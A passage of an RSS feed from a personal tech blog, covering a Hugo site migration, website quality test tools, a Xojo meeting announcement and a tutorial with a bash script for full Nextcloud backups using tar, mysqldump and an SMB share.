&lt;li>no resources from third parties.&lt;/li>
&lt;li>a sustainable, technological foundation (free software).&lt;/li>
&lt;li>content must be separated from the design.&lt;/li>
&lt;li>automated build and update process.&lt;/li>
&lt;li>and last but not least: A minimalist, elegant and timeless design.&lt;/li>
&lt;/ul>
&lt;h2 id="how-this-website-was-developed">How this website was developed&lt;/h2>
&lt;p>As far as the design is concerned, I have chosen a appropriate theme from the &lt;a href="https://themes.gohugo.io/">theme gallery&lt;/a> as a basis for further customization.&lt;/p>
&lt;p>From a purely visual perspective I liked &lt;a href="https://github.com/pavel-pi/kiss-em">&amp;ldquo;Kiss Em&amp;rdquo;&lt;/a> by Pavel Pi from the very first moment. He developed it as fork of the &lt;a href="https://github.com/ribice/kiss/">&amp;ldquo;Kiss&amp;rdquo;&lt;/a> theme, which again is based on the theme &lt;a href="https://github.com/tanksuzuki/hemingway">&amp;ldquo;Hemingway&amp;rdquo;&lt;/a>. I was not aware of the implications that resulted from this forking.&lt;/p>
&lt;p>The installation of Hugo is straightforward. The first website with the theme created in a few lines and the config.toml quickly adapted. The tutorial by Thomas Leistner &lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> has been very helpful to get started.&lt;/p>
&lt;p>I used GNOME Builder as project and markdown editor.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/hugo-builder.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/hugo-builder.webp#c" alt="Screenshot" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The disappointment occurred with the sight of the first online tests and the requirement to get into theme customization much sooner than expected. In addition to the reported issues, there were of course colour adjustments and included webfonts as well as adjusted tap spacings of the navigation controls.&lt;/p>
&lt;p>This is where it seemed a bit of a mistake to have chosen a three times fork as theme for the first steps. The search for the appropriate CSS style sheets was very time-consuming, as it was necessary to find the way through the numerous unused and yet inherited styles.&lt;/p>
&lt;p>Also the partials had to be tackled. When I tried to add an English version to the already completed German language version, I noticed that it was constantly jumping back to the German version. The Hugo concepts and necessary Go statements haven&amp;rsquo;t been implemented in the theme. So I spent half of a day (with the typical interruptions) working on the English branch.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/hugo-commits.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/hugo-commits.webp#c" alt="Screenshot" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>These experiences should not reduce the overall impression of Hugo. I look back to a couple of wonderful and productive days. Finally I have a modern blog now.&lt;/p>
&lt;p>I especially like the possibility to use Go to perform previously complicated tasks quite smoothly. Here&amp;rsquo;s an example for Pipes:&lt;/p>
&lt;pre tabindex="0">&lt;code>
{{ $style := resources.Get &amp;#34;css/main.css&amp;#34; | resources.Minify | resources.Fingerprint }}
&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;{{ $style.Permalink }}&amp;#34;&amp;gt;
&lt;/code>&lt;/pre>&lt;p>With Rapidweaver this required manually digging through the CSS with the yui-compressor after each build and creating the fingerprints of your own from the console.&lt;/p>
&lt;p>A migration tool for Rapidweaver seems not to exist, but there are a lot of tools for other content management systems&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Hugo as a static site generator is very powerful and can accomplish a job. And yes, I will use it for my official &lt;a href="https://jakobssystems.net">company website&lt;/a> soon.&lt;/p>
&lt;p>However, before that happens, I want to see my deployment workflow fully automated.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://thomas-leister.de/einfuehrung-in-hugo/">https://thomas-leister.de/einfuehrung-in-hugo/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://gohugo.io/tools/migrations/">https://gohugo.io/tools/migrations/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Measuring website quality</title><link>https://blog.jakobs.systems/en/micro/20200816-measure-website-quality/</link><pubDate>Sun, 16 Aug 2020 00:34:01 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200816-measure-website-quality/</guid><description/><category>Websites</category><category>SEO</category><category>Concepts</category><category>Blog</category><content>&lt;p>After some finetuning of this blog it is time for a break and to check the current state objectively.&lt;br>
Yes, quality is measurable - these online tests give you a quick overview where you stand:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://web.dev">Google Lighthouse&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://observatory.mozilla.org">Mozilla Observatory&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.ssllabs.com/ssltest/">SSL Labs Servertest&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://webbkoll.dataskydd.net/">Webbkoll&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://hardenize.com/">Hardenize&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://dnsviz.net/">DNSViz&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The results are quite impressive. Everything&amp;rsquo;s shipshape.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/lighthouse-test.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/lighthouse-test.webp#c" alt="Lighthouse results" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Postscriptum from October, 18th 2020:&lt;/p>
&lt;p>I&amp;rsquo;ve added Hardennize and DNSViz to the list. Hardenize offers wonderful birs-eye view for Web+Email, DNSViz due to the fact that its checking the DNS.&lt;/p></content></item><item><title>Xojo User Meeting 2020.08.21, 1800 CET</title><link>https://blog.jakobs.systems/en/micro/20200821-xojo-user-meeting/</link><pubDate>Thu, 13 Aug 2020 11:25:10 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200821-xojo-user-meeting/</guid><description/><category>Webinar</category><category>XOJO</category><category>Meeting</category><content>&lt;p>A new XOJO User Meeting (in german) is scheduled for August, 8th 2020 at 1800 CET.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Topics&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://api.mara.one/Gallery?tags=">Markus&lt;/a> introduces his XOJO App.&lt;/li>
&lt;li>&lt;a href="https://jakobssystems.net">Tomas&lt;/a> shows us how to work with your own gitea server.&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>Duration: 45 Min.&lt;br>
Followed by small talk and hangout with open end.&lt;/p>
&lt;p>Link to the conference room: &lt;a href="https://meet.jakobs.systems/b/tom-z9u-zwq">https://meet.jakobs.systems/b/tom-z9u-zwq&lt;/a>&lt;/p>
&lt;p>Anyone interested is welcome and can participate.&lt;/p>
&lt;p>See you!&lt;/p></content></item><item><title>New Blog started</title><link>https://blog.jakobs.systems/en/micro/20200813-start/</link><pubDate>Thu, 13 Aug 2020 11:25:10 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200813-start/</guid><description/><category>News</category><category>Blog</category><category>Websites</category><content>&lt;blockquote>
&lt;p>You&amp;rsquo;re damn late!&lt;/p>
&lt;/blockquote>
&lt;p>This was the initial response of a friend while showing him a previev.&lt;/p>
&lt;p>But finally, here we are. This is a blog round about my work and all the things I am taking care of. Everything is work in progress and this website is kind of Playground seperated from the formal official website.&lt;/p>
&lt;p>As you might have expected: No 3rd party ressources, no data collection or transfer to 3rd parties. This website is built and operated with free software only (&lt;a href="https://wiki.gnome.org/Apps/Builder">Builder&lt;/a>, &lt;a href="https://hugo.io/">Hugo&lt;/a>, &lt;a href="https://gitea.io/en-us/">Gitea&lt;/a>, &lt;a href="https://www.debian.org/">Debian&lt;/a>, &lt;a href="https://apache.org/">Apache&lt;/a> and damn I am so proud of!&lt;/p>
&lt;p>Structured into micro-blog for short, daily interjections, which may of course include my sarcastic, unreflective, personal opinion, and the longer, more technically substantiated blogs. Please consider the fact that my main language is German and only a subset of items is translated into English.&lt;/p>
&lt;p>I hope you enjoy it! Of course, with one discreet remark: I am a professional consultant and am looking forward to interesting projects, talks or contracts. So don&amp;rsquo;t hesitate to contact me.&lt;/p>
&lt;p>Your,&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Nextcloud Backup with tar</title><link>https://blog.jakobs.systems/en/blog/20200812-nextcloud-backup-with-tar/</link><pubDate>Wed, 12 Aug 2020 22:44:51 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20200812-nextcloud-backup-with-tar/</guid><description>Data protection with automatized full backups</description><category>Nextcloud</category><category>Concepts</category><category>Backup</category><category>Opensource</category><content>&lt;p>Installing a Nextcloud instance is a snap. There are numerous tutorials and, on better NAS systems or hosting providers, even ready-to-use appliances that can be easily clicked together. When it comes to data backup, my observation is that the sources are rather limited and I would rather not use the few manuals that are available on the net.&lt;/p>
&lt;p>This blog post wants to help increase data protection with an automated, daily and complete backup for your Nextcloud. It is aimed at private users. The focus should not just rest on the script, but rather on the thoughts and considerations around it.&lt;/p>
&lt;h2 id="pre-considerations">Pre-considerations&lt;/h2>
&lt;p>There are numerous backup solutions, starting with bare-metal backups of entire servers or partitions, tar, rsync or borg for complete or incremental data backups, up to 7zip for encrypted transfer of data to third parties. This are only a few free solutions. And I don&amp;rsquo;t even want to mention the many non-free ones like Acronis, Veeam &amp;amp; Co.&lt;/p>
&lt;h3 id="why-tar">Why tar?&lt;/h3>
&lt;p>My ideal solution of a backup strategy is not just one, but several coordinated tools. For the requirements and data volumes in my Nextcloud instance I have chosen GNU tar.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The benefits:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s free software.&lt;/li>
&lt;li>Easy handling and integration within scripts.&lt;/li>
&lt;li>Highly compatible with virtually all unixoid systems (POSIX standard).&lt;/li>
&lt;li>Proven stability and reliability for decades, essential for long-term archiving.&lt;/li>
&lt;li>Directory structures, permissions and ownerships are stored in a handy backup file (&amp;ldquo;tarball&amp;rdquo;).&lt;/li>
&lt;li>Backup files can be easily copied to external media or between computers on an ad hoc basis.&lt;/li>
&lt;li>It does not require background services, extra users or even a full blown backup infrastructure consisting of repositories, index databases, media management systems or fancy web interfaces (KISS principle).&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;h3 id="technical-requirements">Technical requirements&lt;/h3>
&lt;p>The backup destination is a SMB share on another computer, in my case a FreeNAS. The script assumes that this share is directly accessible. In case you run your Nextcloud in separate network segments, you have to set up this direct connection possibility in firewall and/or routing tables.&lt;/p>
&lt;p>Everything is also written from the perspective of Debian. When applying to various derivatives, please keep this in mind. The script is started and afterwards executed by cronjob under the user root. A sudo does not exist by default on a freshly installed Debian server and should therefore be installed alongside with cifs-utls:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># apt install cifs-utils sudo&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Furthermore, I assume a working mail server that can send status messages with &amp;ldquo;sendmail&amp;rdquo;. To check if this is set up properly use the following one-liner. If everything works, an empty e-mail should end up in your mailbox:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># sendmail &amp;#34;email@domain.tld&amp;#34; &amp;lt; /dev/null&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Moreover, I assume that the mySQL/MariaDB database and the Nextcloud /data directory are on the same host. As far as it concerns the /data directory, please also read the section under &amp;ldquo;Optimizations&amp;rdquo;.&lt;/p>
&lt;h3 id="data-quantity--duration">Data Quantity &amp;amp; Duration&lt;/h3>
&lt;p>Most of my data is stored on a FreeNAS and is mounted as &amp;ldquo;external storage&amp;rdquo;. This keeps the Nextcloud quite lightweight. In my example we are talking about &amp;quot; just&amp;quot; 31 GB of data to be backed up, which takes about 30 minutes. An acceptable downtime of the Nextcloud, which is put into maintenance mode during full backup and is not usable during this time.&lt;/p>
&lt;h3 id="push-vs-pull">Push vs. Pull&lt;/h3>
&lt;p>From a bird&amp;rsquo;s eye view, there are basically two strategies for data backups: Push and pull backups.&lt;/p>
&lt;p>With a Push-Backup&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> the backed up host connects to a generally central backup server and copies his data over there. The opposite case is called Pull-Backup.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> In this case, a central backup server connects to the host to be backed up and pulls the data according to a predefined logic.&lt;/p>
&lt;p>Viewed at first glance, a pull backup seems more secure. In practice, the situation is a little bit more complicated. Here are some arguments speaking against a pull-backup strategy:&lt;/p>
&lt;ul>
&lt;li>An additional backup account with sudo rights must be created on the host being backed up - on each of potentially multiple hosts in a company or entity. But what are admins doing on a predictable regular basis? They create universally valid accounts with unified passwords on all hosts, effectively a &amp;ldquo;multipass&amp;rdquo; for any hacker.&lt;/li>
&lt;li>Remote access must be provided for such backup accounts in addition to administrative access via SSH, VPN or SMB shares.&lt;/li>
&lt;li>Since every initiative comes from the backup server, it must also provide all the logic and take all eventualities into account. It&amp;rsquo;s fun when a host in the middle of an important task requiring every core and every byte of I/O is interrupted by a backup server.&lt;/li>
&lt;li>A centrally stored logic usually scales less well eand must cope with exemptions and individual adjustments when multiple servers are used. Small scripts can become very complex. No admin wants to see in this critical space.&lt;/li>
&lt;li>Only a few applications allow themselves to be backed up while in operation &amp;ldquo;live&amp;rdquo;. Downtimes are also expensive and should be avoided at all cost. Therefore, many servers keep a backup of their data until a backup server finally shows mercy and picks it up. In the meantime, these backups offer an ideal window of opportunity to grab or manipulate data that previously did not exist in live operation and will never again exist in the backup.&lt;/li>
&lt;/ul>
&lt;p>As usual, it is a trade-off between advantages and disadvantages, and also based on existing circumstances.&lt;/p>
&lt;p>The script shown here works with the push strategy, i.e. the Nextcloud mounts a SMB share, copies the data and then unmounts it again.&lt;/p>
&lt;h3 id="the-encryption-thing">The encryption thing&lt;/h3>
&lt;p>Except the fact that tar does not offer encryption, it is not desirable to use encryption in our scenario due to other reasons:&lt;/p>
&lt;ul>
&lt;li>Encrypted backups increase complexity and create additional problems that you don&amp;rsquo;t want to deal with in long-term backups. For example, expired or forgotten keys, or containers with dependencies that have become obsolete over the years, could prevent people from accessing their backups.&lt;/li>
&lt;li>We operate entirely within a controlled and protected environment.&lt;/li>
&lt;li>It is futile to encrypt individual backup files if this is already done on an underlying level through a file system. In my case, it is the FreeNAS RAID with ZFS and enabled disk encryption.&lt;/li>
&lt;/ul>
&lt;p>Data should only be encrypted, preferably only where there is a transfer or shipment from your own secure environment to an insecure one (e.g. when backups are stored on hard disks at third-party).&lt;/p>
&lt;h2 id="practice">Practice&lt;/h2>
&lt;h3 id="preparations">Preparations&lt;/h3>
&lt;p>The credentials required to mount the SMB network share should be stored in a text file in the root home directory. Unreachable for other users. The name of this file can be chosen freely, so we will name this &amp;ldquo;.smbcredentials&amp;rdquo;. The content consists of three text lines only, in which the credentials have to be entered:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ini" data-lang="ini">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">username&lt;/span>&lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">password&lt;/span>&lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">domain&lt;/span>&lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With mysqldump we will also make a full backup of the Nextcloud database and need also the credentials for this. Hence, we need to store the access data in the file &amp;ldquo;.my.cnf&amp;rdquo; in the root home directory as well. This filename is predefined and must be copied exactly as it is.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ini" data-lang="ini">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">[mysqldump]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">user&lt;/span>&lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">password&lt;/span>&lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In order to mount the SMB network drive, a suitable folder is required. The script expects this below /root. There you simply create a subfolder called &amp;ldquo;backup&amp;rdquo;.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># mkdir /root/backup&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once the credentials are stored, the script can be started.&lt;/p>
&lt;h3 id="the-script">The Script&lt;/h3>
&lt;p>Using a text editor of your choice, a text file named &amp;ldquo;backupscript&amp;rdquo; is created in the root home directory and the following content is inserted in it.&lt;/p>
&lt;p>The script consists of two parts. In the first one all required parameters are set and must be customized to the individual use case.&lt;/p>
&lt;p>The second part contains the main script. You should not change it until you know what you&amp;rsquo;re doing. For better understanding I have commented each line.&lt;/p>
&lt;p>Two important leads: At the end of the script there is a cleanup of any created temporary files. Anyone who needs the logfile can take it out here.&lt;/p>
&lt;p>There is also no check of the available disk space on the target drive. I assume that this will be checked and cleaned from time to time.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Datum Praefix vor den Dateinamen YYYYMMDD&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DATE_PREFIX&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>date +%Y%m%d&lt;span style="color:#66d9ef">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># SMB-Netzwerklaufwerk&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMB_DIR&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;//remotehost/share&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Mountingpoint vom SMB Netzwerklaufwerkes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>MOUNT_DIR&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/root/backup&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># SMB Credentials Datei für die SMB Zugangsdaten&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMB_CRED_FILE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/root/.smbcredentials&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Das Nextcloud Verzeichnis&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NEXTCLOUD_DIR&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/var/www/cloud.domain.tld&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Der Datenbankname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NEXTCLOUD_DB&lt;span style="color:#f92672">=&lt;/span>nextcloud
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Name und Ablageort der Statusdatei YYYYMMDD-backuplog.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>THE_LOG&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/root/&lt;/span>$DATE_PREFIX&lt;span style="color:#e6db74">-backuplog.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Name und Ablageort des Datenbank Dumps&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>THE_DUMP&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/root/&lt;/span>$DATE_PREFIX&lt;span style="color:#e6db74">-cloud-DB.sql&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Empfänger der Statusdatei&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SEND_REP&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email@domain.tld&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Exclude Dateien oder Ordner&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>EXCLUDE_PATTERN&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;--exclude=&amp;#39;&lt;/span>$NEXTCLOUD_DIR&lt;span style="color:#e6db74">/data/updater*&amp;#39; --exclude=&amp;#39;&lt;/span>$NEXTCLOUD_DIR&lt;span style="color:#e6db74">/data/*.log&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -- Bitte ab hier nichts mehr manuell anpassen --&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Erstellen der Statusdatei und Hinterlegung der Startzeit&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;Beginne Backup (Startzeit: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>date +%T&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">)...&amp;#34;&lt;/span> &amp;gt; $THE_LOG
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># SMB Laufwerk mounten&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mount -t cifs -o credentials&lt;span style="color:#f92672">=&lt;/span>$SMB_CRED_FILE $SMB_DIR $MOUNT_DIR
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Wartungsmodus der Nextcluod aktivieren&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo -u www-data php $NEXTCLOUD_DIR/occ maintenance:mode --on
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Erstellen mysql Dump&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mysqldump $NEXTCLOUD_DB &amp;gt; $THE_DUMP
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Alles in das Zielverzeichnis mit tar sichern&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar $EXCLUDE_PATTERN -cvpf &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$MOUNT_DIR&lt;span style="color:#e6db74">/&lt;/span>$DATE_PREFIX&lt;span style="color:#e6db74">-cloud.tar&amp;#34;&lt;/span> $NEXTCLOUD_DIR $THE_DUMP
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Wartungsmodus deaktivieren&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo -u www-data php $NEXTCLOUD_DIR/occ maintenance:mode --off
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Zielverzeichnis prüfen, Stopzeit festhalten&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;...Backup beendet (Stopzeit: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>date +%T&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">)&amp;#34;&lt;/span> &amp;gt;&amp;gt; $THE_LOG
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ls -lh $MOUNT_DIR &amp;gt;&amp;gt; $THE_LOG
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Statusdatei senden&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sendmail $SEND_REP &amp;lt; $THE_LOG
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Garbagge Collection&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm $THE_LOG $THE_DUMP &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>umount $MOUNT_DIR
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once the file is created, it must be made executable:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># chmod +x /root/backupscript&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s it! The script can now be started manually or automated e.g. with crontab at night or during weekends. The only requirement: It must be run in root context.&lt;/p>
&lt;h2 id="optimizations">Optimizations&lt;/h2>
&lt;p>Depending on the number of users and the amount of data, a backup may take its time. Since the script intentionally makes complete backups, it contains some small but nice optimizations:&lt;/p>
&lt;h3 id="skip-files">Skip Files&lt;/h3>
&lt;p>The first optimization option is to skip the usually very large log files. The updater directory with the backups of previous versions can also be left out. For this reason the EXCLUDE_PATTERN line exists:&lt;/p>
